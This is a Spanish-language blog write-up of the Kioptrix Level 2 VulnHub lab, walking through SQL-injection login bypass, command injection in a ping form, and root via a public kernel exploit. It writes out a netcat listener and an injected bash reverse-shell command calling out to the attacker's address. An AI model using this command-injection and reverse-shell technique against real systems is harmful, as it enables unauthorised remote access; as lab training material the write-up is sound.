Kioptrix Level 2 VulnHub Boot2Root

01 April 2017

Kioptrix Level 2 Boot2Root Vulnhub

URL de la máquina: https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
Descripción: This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.

Solución

En primer lugar, y como en todas las máquinas que estamos realizando, lo primero en realizar siempre es un escaneo de puertos de la máquina para comprobar que servicios están corriendo en ella.

_config.yml

Vemos que hay un apache corriendo en el puerto 80 y en el 443. Vamos a empezar mirando por ahí. Introduccimos la dirección IP en el navegador y lo primero que nos encontramos es una pantalla de login.

Probamos con la tipica usuario:contraseña de admin:admin sin éxito, por lo que vamos a lanzar la inyección sql más típica de todas por si hubiera suerte

_config.yml

Y estamos de suerte, nos hemos logueado en la aplicaciṕon y ahora vemos una pantalla donde se pueden introduccir direcciones a las que se pueden realizar pings

_config.yml

Introducimos varias IP’s para comprobar que tipo de funcionalidad ofrece esta parte de la aplicación y enseguida caemos en la cuenta de que quizás sea vulnerable a command injection. Vamos a probar a ver si podemos listar los ficheros que se encuentran en el actual directorio.

_config.yml

Y Voilá! Estabamos en lo cierto, es vulnerable a Command Injection!!!

_config.yml

Para que nos sea más cómodo trabajar con la máquina, vamos a conectarnos a ella con una reverse shell.En este caso probé a realizarlo mediante netcat como he hecho en otras máquinas pero no me dió buenos resultados, por lo que vamos a pentestmonkey para buscar una reverse shell en bash, la cuál podemos encontrar aquí http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Nos ponemos con netcat a escuchar en nuestra máquina conexiones entrantes

nc -lvp 8080

Y modificamos la línea de comando cambiando la ip y el puerto por los nuestros, de manera que el siguiente comando es el que tenemos que introduccir en la casilla de ping:

localhost; bash -i >& /dev/tcp/192.168.1.37/8080 0>&1

_config.yml

Como se puede ver en la imagen anterior, se ha realizado la conexión y lo primero que hemos hecho es comprobar que usuario somos, en este caso apache. Lo siguiente que hemos realizado es que versión de kernel tiene la máquina para buscar si existe algún exploit público. El kernel de la máquina es Linux 2.6.9-55. Por lo que buscamos un exploit que sea para ese kernel y esa versión el cuál podemos encontrar aquí: https://www.exploit-db.com/exploits/9542/.

Lo descargamos, compilamos y ejecutamos y conseguimos root en la máquina.

_config.yml


← Kioptrix Level 1 VulnHub Boot2Root Kioptrix Level 3 (1.2) VulnHub Boot2Root »